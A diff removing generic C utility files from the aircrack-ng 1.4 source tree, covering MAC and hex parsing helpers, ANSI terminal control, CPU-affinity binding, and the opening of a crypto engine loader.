-				pos = strstr(s, "processor");
-
-				if (pos == s)
-				{
-					pos = strchr(s, ':');
-					number = atoi(pos + 1);
-				}
-			}
-
-			++number;
-			free(s);
-		}
-
-		fclose(f);
-	}
-#elif defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
-	// Not sure about defined(__DragonFly__) || defined(__NetBSD__) ||
-	// defined(__OpenBSD__) || defined(__APPLE__)
-	int mib[] = {CTL_HW, HW_NCPU};
-	size_t len;
-	unsigned long nbcpu;
-
-	len = sizeof(nbcpu);
-
-	if (!sysctl(mib, 2, &nbcpu, &len, NULL, 0))
-	{
-		number = (int) nbcpu;
-	}
-#endif
-
-#ifdef _SC_NPROCESSORS_ONLN
-	// Try the usual method if _SC_NPROCESSORS_ONLN exist
-	if (number == -1)
-	{
-		number = sysconf(_SC_NPROCESSORS_ONLN);
-		/* Fails on some archs */
-		if (number < 1)
-		{
-			number = -1;
-		}
-	}
-#endif
-
-	return number;
-}
-
-// compares two MACs
-int maccmp(unsigned char * mac1, unsigned char * mac2)
-{
-	int i = 0;
-
-	if (mac1 == NULL || mac2 == NULL) return -1;
-
-	for (i = 0; i < 6; i++)
-	{
-		if (toupper(mac1[i]) != toupper(mac2[i])) return -1;
-	}
-	return 0;
-}
-
-// Converts a mac address in a human-readable format
-char * mac2string(unsigned char * mac_address)
-{
-	char * mac_string = (char *) malloc(sizeof(char) * 18);
-	snprintf(mac_string,
-			 18,
-			 "%02X:%02X:%02X:%02X:%02X:%02X",
-			 *mac_address,
-			 *(mac_address + 1),
-			 *(mac_address + 2),
-			 *(mac_address + 3),
-			 *(mac_address + 4),
-			 *(mac_address + 5));
-	return mac_string;
-}
-
-/* Return -1 if it's not an hex value and return its value when it's a hex value
- */
-int hexCharToInt(unsigned char c)
-{
-	static int table_created = 0;
-	static int table[256];
-
-	int i;
-
-	if (table_created == 0)
-	{
-		/*
-		 * It may seem a bit long to calculate the table
-		 * but character position depend on the charset used
-		 * Example: EBCDIC
-		 * but it's only done once and then conversion will be really fast
-		 */
-		for (i = 0; i < 256; i++)
-		{
-
-			switch ((unsigned char) i)
-			{
-				case '0':
-					table[i] = 0;
-					break;
-				case '1':
-					table[i] = 1;
-					break;
-				case '2':
-					table[i] = 2;
-					break;
-				case '3':
-					table[i] = 3;
-					break;
-				case '4':
-					table[i] = 4;
-					break;
-				case '5':
-					table[i] = 5;
-					break;
-				case '6':
-					table[i] = 6;
-					break;
-				case '7':
-					table[i] = 7;
-					break;
-				case '8':
-					table[i] = 8;
-					break;
-				case '9':
-					table[i] = 9;
-					break;
-				case 'A':
-				case 'a':
-					table[i] = 10;
-					break;
-				case 'B':
-				case 'b':
-					table[i] = 11;
-					break;
-				case 'C':
-				case 'c':
-					table[i] = 12;
-					break;
-				case 'D':
-				case 'd':
-					table[i] = 13;
-					break;
-				case 'E':
-				case 'e':
-					table[i] = 14;
-					break;
-				case 'F':
-				case 'f':
-					table[i] = 15;
-					break;
-				default:
-					table[i] = -1;
-			}
-		}
-
-		table_created = 1;
-	}
-
-	return table[c];
-}
-
-// in: input string
-// in_length: length of the string
-// out: output string (needs to be already allocated).
-// out_length: length of the array
-// returns amount of bytes saved to 'out' or -1 if an error happened
-int hexStringToArray(char * in,
-					 int in_length,
-					 unsigned char * out,
-					 int out_length)
-{
-	int i, out_pos;
-	int chars[2];
-
-	char * input = in;
-	unsigned char * output = out;
-
-	if (in_length < 2 || out_length < (in_length / 3) + 1 || input == NULL
-		|| output == NULL)
-		return -1;
-
-	out_pos = 0;
-	for (i = 0; i < in_length - 1; ++i)
-	{
-		if (input[i] == '-' || input[i] == ':' || input[i] == '_'
-			|| input[i] == ' '
-			|| input[i] == '.')
-		{
-			continue;
-		}
-		// Check output array is big enough
-		if (out_pos >= out_length)
-		{
-			return -1;
-		}
-		chars[0] = hexCharToInt(input[i]);
-		// If first char is invalid (or '\0'), don't bother continuing (and you
-		// really shouldn't).
-		if (chars[0] < 0 || chars[0] > 15) return -1;
-
-		chars[1] = hexCharToInt(input[++i]);
-		// It should always be a multiple of 2 hex characters with or without
-		// separator
-		if (chars[1] < 0 || chars[1] > 15) return -1;
-		output[out_pos++] = ((chars[0] << 4) + chars[1]) & 0xFF;
-	}
-	return out_pos;
-}
-
-// Return the mac address bytes (or null if it's not a mac address)
-int getmac(const char * macAddress, const int strict, unsigned char * mac)
-{
-	char byte[3];
-	int i, nbElem, n;
-
-	if (macAddress == NULL) return 1;
-
-	/* Minimum length */
-	if ((int) strlen(macAddress) < 12) return 1;
-
-	memset(mac, 0, 6);
-	byte[2] = 0;
-	i = nbElem = 0;
-
-	while (macAddress[i] != 0)
-	{
-		if (macAddress[i] == '\n' || macAddress[i] == '\r') break;
-
-		byte[0] = macAddress[i];
-		byte[1] = macAddress[i + 1];
-
-		if (sscanf(byte, "%x", &n) != 1 && strlen(byte) == 2) return 1;
-
-		if (hexCharToInt(byte[1]) < 0) return 1;
-
-		mac[nbElem] = n;
-
-		i += 2;
-		nbElem++;
-
-		if (macAddress[i] == ':' || macAddress[i] == '-'
-			|| macAddress[i] == '_')
-			i++;
-	}
-
-	if ((strict && nbElem != 6) || (!strict && nbElem > 6)) return 1;
-
-	return 0;
-}
-
-// Read a line of characters inputted by the user
-int readLine(char line[], int maxlength)
-{
-	int c;
-	int i = -1;
-
-	do
-	{
-		// Read char
-		c = getchar();
-
-		if (c == EOF) c = '\0';
-
-		line[++i] = (char) c;
-
-		if (line[i] == '\n') break;
-		if (line[i] == '\r') break;
-		if (line[i] == '\0') break;
-	} while (i + 1 < maxlength);
-	// Stop at 'Enter' key pressed or EOF or max number of char read
-
-	// Return current size
-	return i;
-}
-
-int hexToInt(char s[], int len)
-{
-	int i = 0;
-	int convert = -1;
-	int value = 0;
-
-	// Remove leading 0 (and also the second char that can be x or X)
-
-	while (i < len)
-	{
-		if (s[i] != '0' || (i == 1 && toupper((int) s[i]) != 'X')) break;
-
-		++i;
-	}
-
-	// Convert to hex
-
-	while (i < len)
-	{
-		convert = hexCharToInt((unsigned char) s[i]);
-
-		// If conversion failed, return -1
-		if (convert == -1) return -1;
-
-		value = (value * HEX_BASE) + convert;
-
-		++i;
-	}
-
-	return value;
-}
-
-void rtrim(char * line)
-{
-	if (line && strlen(line) > 0)
-	{
-		if (line[strlen(line) - 1] == '\n') line[strlen(line) - 1] = 0;
-		if (line[strlen(line) - 1] == '\r') line[strlen(line) - 1] = 0;
-	}
-}
-
-char * get_current_working_directory(void)
-{
-	char * ret = NULL;
-	char * wd_realloc = NULL;
-	size_t wd_size = 0;
-
-	do
-	{
-		wd_size += PATH_MAX;
-		char * wd_realloc = (char *) realloc(ret, wd_size);
-		if (wd_realloc == NULL)
-		{
-			if (ret) free(ret);
-			return NULL;
-		}
-		ret = wd_realloc;
-		wd_realloc = getcwd(ret, wd_size);
-		if (wd_realloc == NULL && errno != ERANGE)
-		{
-			if (ret) free(ret);
-			return NULL;
-		}
-	} while (wd_realloc == NULL && errno == ERANGE);
-
-	return ret;
-}
-
-int string_has_suffix(const char * str, const char * suf)
-{
-	assert(str && suf);
-
-	const char * a = str + strlen(str);
-	const char * b = suf + strlen(suf);
-
-	while (a != str && b != suf)
-	{
-		if (*--a != *--b) break;
-	}
-	return b == suf && *a == *b;
-}
-
-int is_background(void)
-{
-	pid_t grp = tcgetpgrp(STDIN_FILENO);
-	if (grp == -1)
-	{
-		// Piped
-		return 0;
-	}
-
-	if (grp == getpgrp())
-	{
-		// Foreground
-		return 0;
-	}
-
-	// Background
-	return 1;
-}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/aircrack-util/common.h Deleted

@@ -1,141 +0,0 @@
-/*
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-#ifndef _COMMON_H_
-#define _COMMON_H_
-
-#if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
-int fseeko64(FILE * fp, int64_t offset, int whence);
-int64_t ftello64(FILE * fp);
-#undef fseek
-#define fseek fseeko64
-#undef ftello
-#define ftello ftello64
-#endif
-
-#if defined(__FreeBSD__) || defined(__OpenBSD__)
-#undef rand
-#define rand lrand48
-#undef srand
-#define srand srand48
-#endif
-
-#include <time.h>
-
-#define SWAP(x, y)                                                             \
-	{                                                                          \
-		unsigned char tmp = x;                                                 \
-		x = y;                                                                 \
-		y = tmp;                                                               \
-	}
-
-#define SWAP32(x)                                                              \
-	x = (((x >> 24) & 0x000000FF) | ((x >> 8) & 0x0000FF00)                    \
-		 | ((x << 8) & 0x00FF0000)                                             \
-		 | ((x << 24) & 0xFF000000));
-
-#define PCT                                                                    \
-	{                                                                          \
-		struct tm * lt;                                                        \
-		time_t tc = time(NULL);                                                \
-		lt = localtime(&tc);                                                   \
-		printf("%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec);       \
-	}
-
-#ifndef MAX
-#define MAX(x, y) ((x) > (y) ? (x) : (y))
-#endif
-
-#ifndef MIN
-#define MIN(x, y) ((x) > (y) ? (y) : (x))
-#endif
-
-#ifndef ABS
-#define ABS(a) ((a) >= 0 ? (a) : (-(a)))
-#endif
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-extern const unsigned char ZERO[33];
-
-extern void calctime(time_t t, float calc);
-
-/// Retrieves the working directory.
-extern char * get_current_working_directory(void);
-
-/// Trim excess whitespace from the right-most of \a line.
-extern void rtrim(char * line);
-
-extern int is_string_number(const char * str);
-
-extern int get_ram_size(void);
-
-extern char * getVersion(const char * progname,
-						 const unsigned int maj,
-						 const unsigned int min,
-						 const unsigned int submin,
-						 const char * rev,
-						 const unsigned int beta,
-						 const unsigned int rc);
-
-/// Returns the number of CPU/cores available and online.
-extern int get_nb_cpus(void);
-
-extern int maccmp(unsigned char * mac1, unsigned char * mac2);
-
-extern char * mac2string(unsigned char * mac_address);
-
-extern int hexCharToInt(unsigned char c);
-
-extern int
-hexStringToArray(char * in, int in_length, unsigned char * out, int out_length);
-
-/// Return the mac address bytes (or null if it's not a mac address)
-extern int
-getmac(const char * macAddress, const int strict, unsigned char * mac);
-
-/// Read a line of characters inputted by the user
-extern int readLine(char line[], int maxlength);
-
-extern int hexToInt(char s[], int len);
-
-extern void rtrim(char * line);
-
-extern int string_has_suffix(const char * str, const char * suf);
-
-// Returns 1 if the current process is running in the background, 0 otherwise
-extern int is_background(void);
-
-#ifdef __cplusplus
-};
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-util/console.c Deleted

@@ -1,186 +0,0 @@
-/*
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#include <assert.h>
-#include <stdio.h>
-#include <termios.h>
-#ifndef TIOCGWINSZ
-#include <sys/termios.h>
-#endif
-#include <unistd.h>
-
-#include "console.h"
-
-#define channel stdout
-
-void textcolor(int attr, int fg, int bg)
-{
-	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(
-		command, sizeof(command), "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void textcolor_fg(int fg)
-{
-	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "\033[%dm", fg + 30);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void textcolor_bg(int bg)
-{
-	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "\033[%dm", bg + 40);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void textstyle(int attr)
-{
-	char command[13];
-
-	/* Command is the control command to the terminal */
-	snprintf(command, sizeof(command), "\033[%im", attr);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void reset_term()
-{
-	struct termios oldt, newt;
-
-	tcgetattr(STDIN_FILENO, &oldt);
-	newt = oldt;
-	newt.c_lflag |= (ICANON | ECHO);
-	tcsetattr(STDIN_FILENO, TCSANOW, &newt);
-}
-
-void moveto(int x, int y)
-{
-	char command[13];
-
-	// clamp the X coordinate.
-	if (x < 0)
-	{
-		x = 0;
-	}
-
-	// clamp the Y coordinate.
-	if (y < 0)
-	{
-		y = 0;
-	}
-
-	// send ANSI sequence to move the cursor.
-	snprintf(command, sizeof(command), "%c[%d;%dH", 0x1B, y, x);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void move(int which, int n)
-{
-	char command[13];
-	static const char movement[] = {'A', 'B', 'C', 'D'};
-
-	assert(which >= 0 && which < 4);
-	snprintf(command, sizeof(command), "%c[%d%c", 0x1B, n, movement[which]);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void erase_display(int n)
-{
-	char command[13];
-
-	snprintf(command, sizeof(command), "%c[%dJ", 0x1B, n);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void erase_line(int n)
-{
-	char command[13];
-
-	snprintf(command, sizeof(command), "%c[%dK", 0x1B, n);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void textcolor_normal(void)
-{
-	char command[13];
-
-	snprintf(command, sizeof(command), "%c[22m", 0x1B);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void hide_cursor(void)
-{
-	char command[13];
-
-	snprintf(command, sizeof(command), "%c[?25l", 0x1B);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-void show_cursor(void)
-{
-	char command[13];
-
-	snprintf(command, sizeof(command), "%c[?25h", 0x1B);
-	fprintf(channel, "%s", command);
-	fflush(channel);
-}
-
-int mygetch(void)
-{
-	struct termios oldt, newt;
-	int ch;
-
-	tcgetattr(STDIN_FILENO, &oldt);
-	newt = oldt;
-	newt.c_lflag &= ~(ICANON | ECHO);
-	tcsetattr(STDIN_FILENO, TCSANOW, &newt);
-	ch = getchar();
-	tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
-
-	return ch;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/console.h Deleted

@@ -1,144 +0,0 @@
-/*
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef AIRCRACK_NG_CONSOLE_H
-#define AIRCRACK_NG_CONSOLE_H
-
-/**
- * Styling attributes for \a textstyle function.
- */
-#define TEXT_RESET 0
-#define TEXT_BRIGHT 1
-#define TEXT_DIM 2
-#define TEXT_UNDERLINE 3
-#define TEXT_BLINK 4
-#define TEXT_REVERSE 7
-#define TEXT_HIDDEN 8
-#define TEXT_MAX_STYLE 8
-
-/**
- * Color definitions for \a textcolor functions.
- */
-#define TEXT_BLACK 0
-#define TEXT_RED 1
-#define TEXT_GREEN 2
-#define TEXT_YELLOW 3
-#define TEXT_BLUE 4
-#define TEXT_MAGENTA 5
-#define TEXT_CYAN 6
-#define TEXT_WHITE 7
-#define TEXT_MAX_COLOR 7
-
-/**
- * Movement direction definitions for \a move function.
- */
-#define CURSOR_UP 0
-#define CURSOR_DOWN 1
-#define CURSOR_FORWARD 2
-#define CURSOR_BACK 3
-
-/**
- * Character codes for common keyboard keys.
- */
-#define KEY_TAB 0x09
-#define KEY_SPACE 0x20
-#define KEY_ARROW_UP 0x41
-#define KEY_ARROW_DOWN 0x42
-#define KEY_ARROW_RIGHT 0x43
-#define KEY_ARROW_LEFT 0x44
-#define KEY_a 0x61
-#define KEY_c 0x63
-#define KEY_d 0x64
-#define KEY_i 0x69
-#define KEY_m 0x6D
-#define KEY_n 0x6E
-#define KEY_r 0x72
-#define KEY_s 0x73
-
-/// Changes the styling, foreground, and background
-/// character color, as shown in the user's terminal
-/// console.
-void textcolor(int attr, int fg, int bg);
-
-/// Changes the foreground character color, as shown in the
-/// user's terminal console.
-void textcolor_fg(int fg);
-
-/// Changes the background character color, as shown in the
-/// user's terminal console.
-void textcolor_bg(int bg);
-
-/// Switch to normal color or intensity, as shown in the
-/// user's terminal console.
-void textcolor_normal(void);
-
-/// Switches the styling applied to future written characters to
-/// the user's terminal console.
-void textstyle(int attr);
-
-/// Moves the cursor to specified column and row, 1-based.
-void moveto(int x, int y);
-
-/// Move the cursor a specified number of positions, in the specified
-/// direction.
-void move(int which, int n);
-
-/// \brief Erase a subset of the terminal console.
-/**
- * From Wikipedia:
- *
- * Clears part of the screen. If n {\displaystyle n} n is 0 (or missing),
- * clear from cursor to end of screen. If n {\displaystyle n} n is 1,
- * clear from cursor to beginning of the screen. If n {\displaystyle n} n
- * is 2, clear entire screen (and moves cursor to upper left on DOS
- * ANSI.SYS). If n {\displaystyle n} n is 3, clear entire screen and
- * delete all lines saved in the scrollback buffer (this feature was
- * added for xterm and is supported by other terminal applications).
- */
-void erase_display(int n);
-
-/// \brief Erase part of the line; of the user's terminal console.
-void erase_line(int n);
-
-/// Hide the cursor within the terminal console.
-void hide_cursor(void);
-
-/// Show the cursor within the terminal console.
-void show_cursor(void);
-
-/// Reset the terminal console display back to a known working state.
-void reset_term(void);
-
-/// Wrapper around \a getch to avoid displaying the character on the terminal
-/// console.
-int mygetch(void);
-
-#endif // AIRCRACK_NG_CONSOLE_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/cpuset.h Deleted

@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef AIRCRACK_UTIL_CPUSET_H
-#define AIRCRACK_UTIL_CPUSET_H
-
-#include <sys/types.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-struct ac_cpuset;
-typedef struct ac_cpuset ac_cpuset_t;
-
-/// Allocate a new cpuset module handle.
-ac_cpuset_t * ac_cpuset_new(void);
-
-/// Deallocate a cpuset module handle.
-void ac_cpuset_free(ac_cpuset_t * cpuset);
-
-/// Initialize the cpuset module handle.
-void ac_cpuset_init(ac_cpuset_t * cpuset);
-
-/// Destroy the cpuset module handle.
-void ac_cpuset_destroy(ac_cpuset_t * cpuset);
-
-/// Distribute \a count threads over all available CPUs.
-void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count);
-
-/// Bind \a tid to the CPU stored at the \a idx index position.
-void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-util/cpuset_hwloc.c Deleted

@@ -1,127 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#include <hwloc.h>
-#include <assert.h>
-#include <limits.h>
-#include <sys/types.h>
-
-#include "aircrack-util/cpuset.h"
-
-struct ac_cpuset
-{
-	size_t nbThreads;
-
-	hwloc_topology_t topology;
-	hwloc_cpuset_t * hwloc_cpusets;
-};
-
-ac_cpuset_t * ac_cpuset_new(void) { return malloc(sizeof(struct ac_cpuset)); }
-
-void ac_cpuset_free(ac_cpuset_t * cpuset) { free(cpuset); }
-
-void ac_cpuset_init(ac_cpuset_t * cpuset)
-{
-	assert(cpuset != NULL);
-
-	cpuset->nbThreads = 0;
-	cpuset->hwloc_cpusets = NULL;
-
-	hwloc_topology_init(&cpuset->topology);
-	hwloc_topology_load(cpuset->topology);
-}
-
-void ac_cpuset_destroy(ac_cpuset_t * cpuset)
-{
-	assert(cpuset != NULL);
-
-	if (cpuset->hwloc_cpusets != NULL)
-	{
-		free(cpuset->hwloc_cpusets);
-		cpuset->hwloc_cpusets = NULL;
-	}
-
-	hwloc_topology_destroy(cpuset->topology);
-}
-
-void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count)
-{
-	assert(cpuset != NULL);
-
-	cpuset->nbThreads = count;
-	cpuset->hwloc_cpusets = calloc(count, sizeof(hwloc_cpuset_t));
-
-	if (!cpuset->hwloc_cpusets) return;
-
-	hwloc_obj_t root = hwloc_get_root_obj(cpuset->topology);
-
-#if defined(HWLOC_API_VERSION) && HWLOC_API_VERSION > 0x00010800
-	hwloc_distrib(cpuset->topology,
-				  &root,
-				  1u,
-				  cpuset->hwloc_cpusets,
-				  (unsigned int) count,
-				  INT_MAX,
-				  0u);
-#else
-	hwloc_distributev(cpuset->topology,
-					  &root,
-					  1u,
-					  cpuset->hwloc_cpusets,
-					  (unsigned int) count,
-					  INT_MAX);
-#endif
-}
-
-void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx)
-{
-	assert(cpuset != NULL);
-
-	if (idx > cpuset->nbThreads) return;
-
-	hwloc_bitmap_singlify(cpuset->hwloc_cpusets[idx]);
-
-	if (hwloc_set_thread_cpubind(cpuset->topology,
-								 tid,
-								 cpuset->hwloc_cpusets[idx],
-								 HWLOC_CPUBIND_THREAD))
-	{
-		char * str;
-		int error = errno;
-		hwloc_bitmap_asprintf(&str, cpuset->hwloc_cpusets[idx]);
-		fprintf(stderr,
-				"Couldn't bind thread to cpuset %s: %s\n",
-				str,
-				strerror(error));
-		free(str);
-	}
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/cpuset_pthread.c Deleted

@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-
-#include <assert.h>
-#include <limits.h>
-#include <pthread.h>
-#include <stdlib.h>
-#include <sys/types.h>
-
-#include "aircrack-util/cpuset.h"
-
-struct ac_cpuset
-{
-	size_t nbThreads;
-};
-
-ac_cpuset_t * ac_cpuset_new(void) { return malloc(sizeof(struct ac_cpuset)); }
-
-void ac_cpuset_free(ac_cpuset_t * cpuset) { free(cpuset); }
-
-void ac_cpuset_init(ac_cpuset_t * cpuset)
-{
-	assert(cpuset != NULL);
-
-	cpuset->nbThreads = 0;
-}
-
-void ac_cpuset_destroy(ac_cpuset_t * cpuset) { assert(cpuset != NULL); }
-
-void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count)
-{
-	assert(cpuset != NULL);
-
-	cpuset->nbThreads = count;
-}
-
-void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx)
-{
-	assert(cpuset != NULL);
-
-	if (idx > cpuset->nbThreads) return;
-
-#if defined(HAVE_PTHREAD_AFFINITY_NP) && HAVE_PTHREAD_AFFINITY_NP
-	// set affinity to a specific processor, for the specified thread.
-	cpu_set_t set;
-	CPU_ZERO(&set);
-	CPU_SET(idx, &set);
-	pthread_setaffinity_np(tid, sizeof(cpu_set_t), &set);
-#endif
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/crypto_engine_loader.c Deleted

@@ -1,540 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#define _GNU_SOURCE
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/types.h>
-#include <dirent.h>
-#ifndef STATIC_BUILD
-#include <dlfcn.h>
-#endif
-
